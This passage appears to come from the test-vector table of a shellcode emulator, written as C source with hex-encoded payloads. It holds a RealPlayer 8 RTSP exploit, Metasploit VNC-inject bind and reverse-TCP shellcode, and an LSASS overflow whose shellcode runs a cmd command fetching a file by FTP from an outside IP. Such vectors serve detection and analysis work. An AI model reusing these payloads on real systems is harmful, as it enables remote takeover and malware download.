C\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\\x53\\xAC\\x96\\xB4\"\n\t\t\"\\x53\\x2C\\x6E\\xB5\\x43\\x42\\x41\\x43\\x43\\x43\\x42\\x41\\x41\\x42\\x43\\x41\"\n\t\t\"\\x41\\x0A\\x43\\x43\\x41\\x41\\x41\\x43\\x43\\x42\\x42\\x43\\x43\\x41\\x42\\x41\"\n\t\t\"\\x43\\x42\\x43\\x0A\\x42\\x43\\x41\\x41\\x43\\x41\\x42\\x43\\x43\\x41\\x43\\x43\"\n\t\t\"\\x42\\x43\\x41\\x0A\\x43\\x41\\x43\\x43\",\n\t\t.codesize = 1096,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"the hackers choice realplayer 8 exploit\",\n\t\t.code = \n\t\t\"\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\"\t // 0x0000  ../../..  /../../.\"\n\t\t\"\\x2e\\x2f\\x2b\\xc9\\x83\\xe9\\xb0\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\"\t // 0x0010  ./+.....  ..t$.[.s\"\n\t\t\"\\x13\\x9a\\xaa\\xe4\\x36\\x83\\xeb\\xfc\\xe2\\xf4\\x66\\xc0\\x0f\\x7b\\x72\\x53\"\t // 0x0020  ....6...  ..f..{rS\"\n\t\t\"\\x1b\\xc9\\x65\\xca\\x6f\\x5a\\xbe\\x8e\\x6f\\x73\\xa6\\x21\\x98\\x33\\xe2\\xab\"\t // 0x0030  ..e.oZ..  os.!.3..\"\n\t\t\"\\x0b\\xbd\\xd5\\xb2\\x6f\\x69\\xba\\xab\\x0f\\x7f\\x11\\x9e\\x6f\\x37\\x74\\x9b\"\t // 0x0040  ....oi..  ....o7t.\"\n\t\t\"\\x24\\xaf\\x36\\x2e\\x24\\x42\\x9d\\x6b\\x2e\\x3b\\x9b\\x68\\x0f\\xc2\\xa1\\xfe\"\t // 0x0050  $.6.$B.k  .;.h....\"\n\t\t\"\\xc0\\x1e\\xef\\x4f\\x6f\\x69\\xbe\\xab\\x0f\\x50\\x11\\xa6\\xaf\\xbd\\xc5\\xb6\"\t // 0x0060  ...Ooi..  .P......\"\n\t\t\"\\xe5\\xdd\\x99\\x86\\x6f\\xbf\\xf6\\x8e\\xf8\\x57\\x59\\x9b\\x3f\\x52\\x11\\xe9\"\t // 0x0070  ....o...  .WY.?R..\"\n\t\t\"\\xd4\\xbd\\xda\\xa6\\x6f\\x46\\x86\\x07\\x6f\\x76\\x92\\xf4\\x8c\\xb8\\xd4\\xa4\"\t // 0x0080  ....oF..  ov......\"\n\t\t\"\\x08\\x66\\x65\\x7c\\x82\\x65\\xfc\\xc2\\xd7\\x04\\xf2\\xdd\\x97\\x04\\xc5\\xfe\"\t // 0x0090  .fe|.e..  ........\"\n\t\t\"\\x1b\\xe6\\xf2\\x61\\x09\\xca\\xa1\\xfa\\x1b\\xe0\\xc5\\x23\\x01\\x50\\x1b\\x47\"\t // 0x00a0  ...a....  ...#.P.G\"\n\t\t\"\\xec\\x34\\xcf\\xc0\\xe6\\xc9\\x4a\\xc2\\x3d\\x3f\\x6f\\x07\\xb3\\xc9\\x4c\\xf9\"\t // 0x00b0  .4....J.  =?o...L.\"\n\t\t\"\\xb7\\x65\\xc9\\xf9\\xa7\\x65\\xd9\\xf9\\x1b\\xe6\\xfc\\xc2\\xfc\\x98\\xfc\\xf9\"\t // 0x00c0  .e...e..  ........\"\n\t\t\"\\x6d\\xd7\\x0f\\xc2\\x40\\x2c\\xea\\x6d\\xb3\\xc9\\x4c\\xc0\\xf4\\x67\\xcf\\x55\"\t // 0x00d0  m...@,.m  ..L..g.U\"\n\t\t\"\\x34\\x5e\\x3e\\x07\\xca\\xdf\\xcd\\x55\\x32\\x65\\xcf\\x55\\x34\\x5e\\x7f\\xe3\"\t // 0x00e0  4^>....U  2e.U4^..\"\n\t\t\"\\x62\\x7f\\xcd\\x55\\x32\\x66\\xce\\xfe\\xb1\\xc9\\x4a\\x39\\x8c\\xd1\\xe3\\x6c\"\t // 0x00f0  b..U2f..  ..J9...l\"\n\t\t\"\\x9d\\x61\\x65\\x7c\\xb1\\xc9\\x4a\\xcc\\x8e\\x52\\xfc\\xc2\\x87\\x5b\\x13\\x4f\"\t // 0x0100  .ae|..J.  .R...[.O\"\n\t\t\"\\x8e\\x66\\xc3\\x83\\x28\\xbf\\x7d\\xc0\\xa0\\xbf\\x78\\x9b\\x24\\xc5\\x30\\x54\"\t // 0x0110  .f..(.}.  ..x.$.0T\"\n\t\t\"\\xa6\\x1b\\x64\\xe8\\xc8\\xa5\\x17\\xd0\\xdc\\x9d\\x31\\x01\\x8c\\x44\\x64\\x19\"\t // 0x0120  ..d.....  ..1..Dd.\"\n\t\t\"\\xf2\\xc9\\xef\\xee\\x1b\\xe0\\xc1\\xfd\\xb6\\x67\\xcb\\xfb\\x8e\\x37\\xcb\\xfb\"\t // 0x0130  ........  .g...7..\"\n\t\t\"\\xb1\\x67\\x65\\x7a\\x8c\\x9b\\x43\\xaf\\x2a\\x65\\x65\\x7c\\x8e\\xc9\\x65\\x9d\"\t // 0x0140  .gez..C.  *ee|..e.\"\n\t\t\"\\x1b\\xe6\\x11\\xfd\\x18\\xb5\\x5e\\xce\\x1b\\xe0\\xc8\\x55\\x34\\x5e\\x75\\x64\"\t // 0x0150  ......^.  ...U4^ud\"\n\t\t\"\\x04\\x56\\xc9\\x55\\x32\\xc9\\x4a\\xaa\\xe4\\x36\\x2e\\x73\\x6d\\x69\\x20\\x52\"\t // 0x0160  .V.U2.J.  .6.smi R\"\n\t\t\"\\x54\\x53\\x50\\x2f\\x31\\x2e\\x30\\x0d\\x0a\\x0d\\x0a\\x44\\x45\\x53\\x43\\x52\"\t // 0x0170  TSP/1.0.  ...DESCR\"\n\t\t\"\\x49\\x42\\x45\\x20\\x72\\x74\\x73\\x70\\x3a\\x2f\\x2f\\x32\\x31\\x37\\x2e\\x31\"\t // 0x0180  IBE rtsp  ://217.1\"\n\t\t\"\\x36\\x30\\x2e\\x32\\x32\\x33\\x2e\\x37\\x34\\x3a\\x35\\x35\\x34\\x2f\\x61\\x73\"\t // 0x0190  60.223.7  4:554/as\"\n\t\t\"\\x64\\x66\\x2e\\x6d\\x70\\x33\\x20\\x52\\x54\\x53\\x50\\x2f\\x31\\x2e\\x30\\x0d\"\t // 0x01a0  df.mp3 R  TSP/1.0.\"\n\t\t\"\\x0a\\x44\\x45\\x53\\x43\\x52\\x49\\x42\\x45\\x20\\x2f\\x26\\x21\\x40\\x2e\\x25\"\t // 0x01b0  .DESCRIB  E /&!@.%\"\n\t\t\"\\x5e\\x25\\x2e\\x73\\x6d\\x69\\x20\\x52\\x54\\x53\\x50\\x2f\\x31\\x2e\\x33\\x2e\"\t // 0x01c0  ^%.smi R  TSP/1.3.\"\n\t\t\"\\x33\\x2e\\x37\\x0d\\x0a\\x0d\\x0a\\x44\\x45\\x53\\x43\\x52\\x49\\x42\\x45\\x20\"\t // 0x01d0  3.7....D  ESCRIBE \"\n\t\t\"\\x2f\\x20\\x2e\\x73\\x6d\\x69\\x20\\x52\\x54\\x53\\x50\\x2f\\x31\\x2e\\x30\\x0d\"\t // 0x01e0  / .smi R  TSP/1.0.\"\n\t\t\"\\x0a\\x0d\\x0a\\x20\\x52\\x54\\x53\\x50\\x2f\\x31\\x2e\\x30\\x0d\\x0a\\x54\\x72\"\t // 0x01f0  ... RTSP  /1.0..Tr\"\n\t\t\"\\x61\\x6e\\x73\\x70\\x6f\\x72\\x74\\x3a\\x20\\x54\\x48\\x43\\x72\\x30\\x78\\x21\",\t  // 0x0200  ansport:   THCr0x!\"\n\n\t\t.codesize = 528,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"win32_bind_vncinject -  VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll EXITFUNC=seh AUTOVNC=1 VNCPORT=5900 LPORT=4444 Size=287 Encoder=None http://metasploit.com\",\n\t\t.code =  \n\t\t\"\\xe8\\x56\\x00\\x00\\x00\\x53\\x55\\x56\\x57\\x8b\\x6c\\x24\\x18\\x8b\\x45\\x3c\"\n\t\t\"\\x8b\\x54\\x05\\x78\\x01\\xea\\x8b\\x4a\\x18\\x8b\\x5a\\x20\\x01\\xeb\\xe3\\x32\"\n\t\t\"\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xff\\xfc\\x31\\xc0\\xac\\x38\\xe0\\x74\\x07\"\n\t\t\"\\xc1\\xcf\\x0d\\x01\\xc7\\xeb\\xf2\\x3b\\x7c\\x24\\x14\\x75\\xe1\\x8b\\x5a\\x24\"\n\t\t\"\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\\x1c\\x01\\xeb\\x8b\\x04\\x8b\\x01\\xe8\"\n\t\t\"\\xeb\\x02\\x31\\xc0\\x5f\\x5e\\x5d\\x5b\\xc2\\x08\\x00\\x5e\\x6a\\x30\\x59\\x64\"\n\t\t\"\\x8b\\x19\\x8b\\x5b\\x0c\\x8b\\x5b\\x1c\\x8b\\x1b\\x8b\\x5b\\x08\\x53\\x68\\x8e\"\n\t\t\"\\x4e\\x0e\\xec\\xff\\xd6\\x89\\xc7\\x81\\xec\\x00\\x01\\x00\\x00\\x57\\x56\\x53\"\n\t\t\"\\x89\\xe5\\xe8\\x27\\x00\\x00\\x00\\x90\\x01\\x00\\x00\\xb6\\x19\\x18\\xe7\\xa4\"\n\t\t\"\\x19\\x70\\xe9\\xe5\\x49\\x86\\x49\\xa4\\x1a\\x70\\xc7\\xa4\\xad\\x2e\\xe9\\xd9\"\n\t\t\"\\x09\\xf5\\xad\\xcb\\xed\\xfc\\x3b\\x57\\x53\\x32\\x5f\\x33\\x32\\x00\\x5b\\x8d\"\n\t\t\"\\x4b\\x20\\x51\\xff\\xd7\\x89\\xdf\\x89\\xc3\\x8d\\x75\\x14\\x6a\\x07\\x59\\x51\"\n\t\t\"\\x53\\xff\\x34\\x8f\\xff\\x55\\x04\\x59\\x89\\x04\\x8e\\xe2\\xf2\\x2b\\x27\\x54\"\n\t\t\"\\xff\\x37\\xff\\x55\\x30\\x31\\xc0\\x50\\x50\\x50\\x50\\x40\\x50\\x40\\x50\\xff\"\n\t\t\"\\x55\\x2c\\x89\\xc7\\x31\\xdb\\x53\\x53\\x68\\x02\\x00\\x11\\x5c\\x89\\xe0\\x6a\"\n\t\t\"\\x10\\x50\\x57\\xff\\x55\\x24\\x53\\x57\\xff\\x55\\x28\\x53\\x54\\x57\\xff\\x55\"\n\t\t\"\\x20\\x89\\xc7\\x81\\xec\\x00\\x10\\x00\\x00\\x89\\xe3\\x6a\\x00\\x68\\x00\\x10\"\n\t\t\"\\x00\\x00\\x53\\x57\\xff\\x55\\x18\\x81\\xec\\x00\\x04\\x00\\x00\\xff\\xd3\",\n\t\t.codesize = 287,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"windows/vncinject/reverse_tcp - 177 bytes (stage 1) http://www.metasploit.com DisableCourtesyShell=false, VNCHOST=127.0.0.1, VNCPORT=5900, EXITFUNC=seh, DLL=/tmp/framework-3.0/data/vncdll.dll, LPORT=4444, LHOST=192.168.53.20, AUTOVNC=true\",\n\t\t.code =  \n\t\t\"\\xfc\\x6a\\xeb\\x47\\xe8\\xf9\\xff\\xff\\xff\\x60\\x31\\xdb\\x8b\\x7d\" \n\t\t\"\\x3c\\x8b\\x7c\\x3d\\x78\\x01\\xef\\x8b\\x57\\x20\\x01\\xea\\x8b\\x34\" \n\t\t\"\\x9a\\x01\\xee\\x31\\xc0\\x99\\xac\\xc1\\xca\\x0d\\x01\\xc2\\x84\\xc0\" \n\t\t\"\\x75\\xf6\\x43\\x66\\x39\\xca\\x75\\xe3\\x4b\\x8b\\x4f\\x24\\x01\\xe9\" \n\t\t\"\\x66\\x8b\\x1c\\x59\\x8b\\x4f\\x1c\\x01\\xe9\\x03\\x2c\\x99\\x89\\x6c\" \n\t\t\"\\x24\\x1c\\x61\\xff\\xe0\\x31\\xdb\\x64\\x8b\\x43\\x30\\x8b\\x40\\x0c\" \n\t\t\"\\x8b\\x70\\x1c\\xad\\x8b\\x68\\x08\\x5e\\x66\\x53\\x66\\x68\\x33\\x32\" \n\t\t\"\\x68\\x77\\x73\\x32\\x5f\\x54\\x66\\xb9\\x72\\x60\\xff\\xd6\\x95\\x53\" \n\t\t\"\\x53\\x53\\x53\\x43\\x53\\x43\\x53\\x89\\xe7\\x66\\x81\\xef\\x08\\x02\" \n\t\t\"\\x57\\x53\\x66\\xb9\\xe7\\xdf\\xff\\xd6\\x66\\xb9\\xa8\\x6f\\xff\\xd6\" \n\t\t\"\\x97\\x68\\xc0\\xa8\\x35\\x14\\x66\\x68\\x11\\x5c\\x66\\x53\\x89\\xe3\" \n\t\t\"\\x6a\\x10\\x53\\x57\\x66\\xb9\\x57\\x05\\xff\\xd6\\x50\\xb4\\x0c\\x50\" \n\t\t\"\\x53\\x57\\x53\\x66\\xb9\\xc0\\x38\\xff\\xe6\",\n\t\t.codesize = 177,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"till sein lsass dump\",\n\t\t.code =  \n\t\t\"\\x00\\x00\\x00\\x85\\xff\\x53\\x4d\\x42\\x72\\x00\\x00\\x00\\x00\\x18\\x53\\xc8\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x37\\x13\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x62\\x00\\x02\\x50\\x43\\x20\\x4e\\x45\\x54\\x57\\x4f\"\n\t\t\"\\x52\\x4b\\x20\\x50\\x52\\x4f\\x47\\x52\\x41\\x4d\\x20\\x31\\x2e\\x30\\x00\\x02\"\n\t\t\"\\x4c\\x41\\x4e\\x4d\\x41\\x4e\\x31\\x2e\\x30\\x00\\x02\\x57\\x69\\x6e\\x64\\x6f\"\n\t\t\"\\x77\\x73\\x20\\x66\\x6f\\x72\\x20\\x57\\x6f\\x72\\x6b\\x67\\x72\\x6f\\x75\\x70\"\n\t\t\"\\x73\\x20\\x33\\x2e\\x31\\x61\\x00\\x02\\x4c\\x4d\\x31\\x2e\\x32\\x58\\x30\\x30\"\n\t\t\"\\x32\\x00\\x02\\x4c\\x41\\x4e\\x4d\\x41\\x4e\\x32\\x2e\\x31\\x00\\x02\\x4e\\x54\"\n\t\t\"\\x20\\x4c\\x4d\\x20\\x30\\x2e\\x31\\x32\\x00\\x00\\x00\\x10\\xbf\\xff\\x53\\x4d\"\n\t\t\"\\x42\\x73\\x00\\x00\\x00\\x00\\x18\\x07\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x37\\x13\\x00\\x00\\x00\\x00\\x0c\\xff\\x00\"\n\t\t\"\\x00\\x00\\x04\\x11\\x0a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7e\\x10\\x00\\x00\"\n\t\t\"\\x00\\x00\\xd4\\x00\\x00\\x80\\x7e\\x10\\x60\\x82\\x10\\x7a\\x06\\x06\\x2b\\x06\"\n\t\t\"\\x01\\x05\\x05\\x02\\xa0\\x82\\x10\\x6e\\x30\\x82\\x10\\x6a\\xa1\\x82\\x10\\x66\"\n\t\t\"\\x23\\x82\\x10\\x62\\x03\\x82\\x04\\x01\\x00\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x03\\x00\\x23\\x82\\x0c\\x57\\x03\"\n\t\t\"\\x82\\x04\\x0a\\x00\\x90\\x42\\x90\\x42\\x90\\x42\\x90\\x42\\x81\\xc4\\x54\\xf2\"\n\t\t\"\\xff\\xff\\xfc\\xe8\\x46\\x00\\x00\\x00\\x8b\\x45\\x3c\\x8b\\x7c\\x05\\x78\\x01\"\n\t\t\"\\xef\\x8b\\x4f\\x18\\x8b\\x5f\\x20\\x01\\xeb\\xe3\\x2e\\x49\\x8b\\x34\\x8b\\x01\"\n\t\t\"\\xee\\x31\\xc0\\x99\\xac\\x84\\xc0\\x74\\x07\\xc1\\xca\\x0d\\x01\\xc2\\xeb\\xf4\"\n\t\t\"\\x3b\\x54\\x24\\x04\\x75\\xe3\\x8b\\x5f\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\"\n\t\t\"\\x5f\\x1c\\x01\\xeb\\x8b\\x1c\\x8b\\x01\\xeb\\x89\\x5c\\x24\\x04\\xc3\\x31\\xc0\"\n\t\t\"\\x64\\x8b\\x40\\x30\\x85\\xc0\\x78\\x0f\\x8b\\x40\\x0c\\x8b\\x70\\x1c\\xad\\x8b\"\n\t\t\"\\x68\\x08\\xe9\\x0b\\x00\\x00\\x00\\x8b\\x40\\x34\\x05\\x7c\\x00\\x00\\x00\\x8b\"\n\t\t\"\\x68\\x3c\\x5f\\x31\\xf6\\x60\\x56\\xeb\\x0d\\x68\\xef\\xce\\xe0\\x60\\x68\\x98\"\n\t\t\"\\xfe\\x8a\\x0e\\x57\\xff\\xe7\\xe8\\xee\\xff\\xff\\xff\\x63\\x6d\\x64\\x20\\x2f\"\n\t\t\"\\x6b\\x20\\x65\\x63\\x68\\x6f\\x20\\x6f\\x70\\x65\\x6e\\x20\\x32\\x31\\x37\\x2e\"\n\t\t\"\\x32\\x33\\x32\\x2e\\x39\\x32\\x2e\\x36\\x34\\x20\\x32\\x30\\x31\\x33\\x39\\x20\"\n\t\t\"\\x3e\\x20\\x69\\x26\\x65\\x63\\x68\\x6f\\x20\\x75\\x73\\x65\\x72\\x20\\x31\\x20\"\n\t\t\"\\x31\\x20\\x3e\\x3e\\x20\\x69\\x20\\x26\\x65\\x63\\x68\\x6f\\x20\\x67\\x65\\x74\"\n\